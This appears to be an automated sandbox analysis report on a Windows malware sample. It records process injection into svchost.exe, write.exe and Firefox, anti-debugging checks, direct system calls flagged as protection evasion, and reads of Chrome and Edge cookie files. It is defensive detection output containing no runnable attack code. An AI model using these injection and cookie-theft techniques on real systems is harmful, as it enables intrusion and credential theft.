Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304A80 mov eax, dword ptr fs:[00000030h]	1_2_03304A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268A90 mov edx, dword ptr fs:[00000030h]	1_2_03268A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326AAEE mov eax, dword ptr fs:[00000030h]	1_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326AAEE mov eax, dword ptr fs:[00000030h]	1_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286ACC mov eax, dword ptr fs:[00000030h]	1_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286ACC mov eax, dword ptr fs:[00000030h]	1_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286ACC mov eax, dword ptr fs:[00000030h]	1_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230AD0 mov eax, dword ptr fs:[00000030h]	1_2_03230AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264AD0 mov eax, dword ptr fs:[00000030h]	1_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264AD0 mov eax, dword ptr fs:[00000030h]	1_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B892A mov eax, dword ptr fs:[00000030h]	1_2_032B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C892B mov eax, dword ptr fs:[00000030h]	1_2_032C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE908 mov eax, dword ptr fs:[00000030h]	1_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE908 mov eax, dword ptr fs:[00000030h]	1_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC912 mov eax, dword ptr fs:[00000030h]	1_2_032BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228918 mov eax, dword ptr fs:[00000030h]	1_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228918 mov eax, dword ptr fs:[00000030h]	1_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962 mov eax, dword ptr fs:[00000030h]	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962 mov eax, dword ptr fs:[00000030h]	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962 mov eax, dword ptr fs:[00000030h]	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327096E mov eax, dword ptr fs:[00000030h]	1_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327096E mov edx, dword ptr fs:[00000030h]	1_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327096E mov eax, dword ptr fs:[00000030h]	1_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4978 mov eax, dword ptr fs:[00000030h]	1_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4978 mov eax, dword ptr fs:[00000030h]	1_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC97C mov eax, dword ptr fs:[00000030h]	1_2_032BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0946 mov eax, dword ptr fs:[00000030h]	1_2_032B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304940 mov eax, dword ptr fs:[00000030h]	1_2_03304940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0 mov eax, dword ptr fs:[00000030h]	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032309AD mov eax, dword ptr fs:[00000030h]	1_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032309AD mov eax, dword ptr fs:[00000030h]	1_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B89B3 mov esi, dword ptr fs:[00000030h]	1_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B89B3 mov eax, dword ptr fs:[00000030h]	1_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B89B3 mov eax, dword ptr fs:[00000030h]	1_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_032BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032629F9 mov eax, dword ptr fs:[00000030h]	1_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032629F9 mov eax, dword ptr fs:[00000030h]	1_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C69C0 mov eax, dword ptr fs:[00000030h]	1_2_032C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032649D0 mov eax, dword ptr fs:[00000030h]	1_2_032649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_032FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov ecx, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252835 mov eax, dword ptr fs:[00000030h]	1_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A830 mov eax, dword ptr fs:[00000030h]	1_2_0326A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D483A mov eax, dword ptr fs:[00000030h]	1_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D483A mov eax, dword ptr fs:[00000030h]	1_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC810 mov eax, dword ptr fs:[00000030h]	1_2_032BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE872 mov eax, dword ptr fs:[00000030h]	1_2_032BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE872 mov eax, dword ptr fs:[00000030h]	1_2_032BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6870 mov eax, dword ptr fs:[00000030h]	1_2_032C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6870 mov eax, dword ptr fs:[00000030h]	1_2_032C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03242840 mov ecx, dword ptr fs:[00000030h]	1_2_03242840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260854 mov eax, dword ptr fs:[00000030h]	1_2_03260854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234859 mov eax, dword ptr fs:[00000030h]	1_2_03234859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234859 mov eax, dword ptr fs:[00000030h]	1_2_03234859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230887 mov eax, dword ptr fs:[00000030h]	1_2_03230887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC89D mov eax, dword ptr fs:[00000030h]	1_2_032BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA8E4 mov eax, dword ptr fs:[00000030h]	1_2_032FA8E4

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_00426DA1

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtClose: Direct from: 0x76EF7B2E
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\write.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\write.exe

Thread register set: target process: 5024

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\write.exe

Thread APC queued: target process: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 63C008

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\r6lOHDg9N9.exe"	Jump to behavior
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Process created: C:\Windows\SysWOW64\write.exe "C:\Windows\SysWOW64\write.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: r6lOHDg9N9.exe, fZXsbVktlmkz.exe, 00000005.00000000.2014971988.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551828694.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3551897356.0000000000CD0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: fZXsbVktlmkz.exe, 00000005.00000000.2014971988.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551828694.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3551897356.0000000000CD0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: r6lOHDg9N9.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: fZXsbVktlmkz.exe, 00000005.00000000.2014971988.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551828694.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3551897356.0000000000CD0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: fZXsbVktlmkz.exe, 00000005.00000000.2014971988.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551828694.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3551897356.0000000000CD0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

0_2_0042039F

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
